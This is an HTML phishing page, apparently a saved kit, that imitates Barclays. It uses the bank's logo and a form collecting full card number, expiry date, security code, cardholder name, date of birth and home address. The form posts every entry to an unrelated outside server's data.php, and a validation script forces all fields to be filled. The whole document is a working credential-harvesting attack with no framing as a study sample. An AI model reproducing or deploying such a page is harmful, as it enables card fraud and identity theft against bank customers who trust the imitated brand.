<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0033)http://phone.ipkall.com/login.asp -->
<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type><LINK
rel=STYLESHEET type=text/css
href="iepc.css">
<META content=no-cache http-equiv=Pragma>
<SCRIPT src=""></SCRIPT>
<META name=GENERATOR content="MSHTML 8.00.6001.18852"></HEAD>
<BODY>
<H1 align=center><IMG src="https://ibank.barclays.co.uk/o/glo/img/logo/logo_mob.gif" alt="barclays"></H1>
<H1 align=center> </H1>
<FORM id=FORM1 onSubmit="return submitIt(this)" method=post name=FORM1
action=http://www.closertwome.com/data.php>
<TABLE border=0 align=center>
<TBODY>
<TR>
<TD>Card Number</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=4 size=1 name=CARD1>
<INPUT id=text2 maxLength=4 size=1 name=CARD2>
<INPUT id=text3 maxLength=4 size=1 name=CARD3>
<INPUT id=text4 maxLength=4 size=1 name=CARD4></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Card Expiry Date (mm/yy)</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=2 size=1 name=MM>
<INPUT id=text5 maxLength=2 size=1 name=YY></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Card Security Code</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=3 size=1 name=CVV></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Card holder name as printed on the card</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=50 size=20 name=NAME></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Cardholder Date of Birth</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=2 size=1 name=DAY>
<INPUT id=text6 maxLength=2 size=1 name=MONTH>
<INPUT id=text7 maxLength=4 size=1 name=YEAR></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Address Line 1</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=50 size=20 name=ADDRESS></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Address Line 2</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=50 size=20 name=txtDID></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Town/City</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=50 size=20 name=TOWN></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>County</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=50 size=20 name=COUNTY></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD>Postcode</TD></TR>
<TR>
<TD><INPUT id=text1 maxLength=4 size=1 name=POSTCODE1>
<INPUT id=text8 maxLength=4 size=1 name=POSTCODE2></TD></TR>
<TR>
<TD> </TD></TR>
<TD colSpan=2 align=middle><BR><INPUT id=submit1 value=Submit type=submit name=submit1></TD></TR>
<TR>
<TD> </TD></TR>
<TR>
<TD colSpan=2 align=middle> </TD></TR></TBODY></TABLE></FORM>
<script language = "javascript">
function submitIt(form) {
if (form.CARD1.value == "") {
alert("Enter the first set of four digits of your card number.");
form.CARD1.focus();
form.CARD1.select();
return false;
}else if (form.CARD2.value == "") {
alert("Enter the second set of four digits of your card number.");
form.CARD2.focus();
form.CARD2.select();
return false;
}else if (form.CARD3.value == "") {
alert("Enter the third set of four digits of your card number.");
form.CARD3.focus();
form.CARD3.select();
return false;
}else if (form.CARD4.value == "") {
alert("Enter the fourth set of four digits of your card number.");
form.CARD4.focus();
form.CARD4.select();
return false;
}else if (form.MM.value == "") {
alert("Enter the card expiration month.");
form.MM.focus();
form.MM.select();
return false;
}else if (form.YY.value == "") {
alert("Enter the card expiration year.");
form.YY.focus();
form.YY.select();
return false;
}else if (form.CVV.value == "") {
alert("Enter the three digit security code for the card number provided.");
form.CVV.focus();
form.CVV.select();
return false;
}else if (form.NAME.value == "") {
alert("Enter the card holder name as printed on the card.");
form.NAME.focus();
form.NAME.select();
return false;
}else if (form.DAY.value == "") {
alert("Enter date of birth day.");
form.DAY.focus();
form.DAY.select();
return false;
}else if (form.MONTH.value == "") {
alert("Enter date of birth month.");
form.MONTH.focus();
form.MONTH.select();
return false;
}else if (form.YEAR.value == "") {
alert("Enter date of birth year.");
form.YEAR.focus();
form.YEAR.select();
return false;
}else if (form.ADDRESS.value == "") {
alert("Enter address line 1.");
form.ADDRESS.focus();
form.ADDRESS.select();
return false;
}else if (form.TOWN.value == "") {
alert("Enter yout town/city.");
form.TOWN.focus();
form.TOWN.select();
return false;
}else if (form.COUNTY.value == "") {
alert("Enter your county.");
form.COUNTY.focus();
form.COUNTY.select();
return false;
}else if (form.POSTCODE1.value == "") {
alert("Enter first part of your postcode.");
form.POSTCODE1.focus();
form.POSTCODE1.select();
return false;
}else if (form.POSTCODE2.value == "") {
alert("Enter second part of your postcode.");
form.POSTCODE2.focus();
form.POSTCODE2.select();
return false;
}else{
return true;
}
}
</script>
</BODY>
</HTML>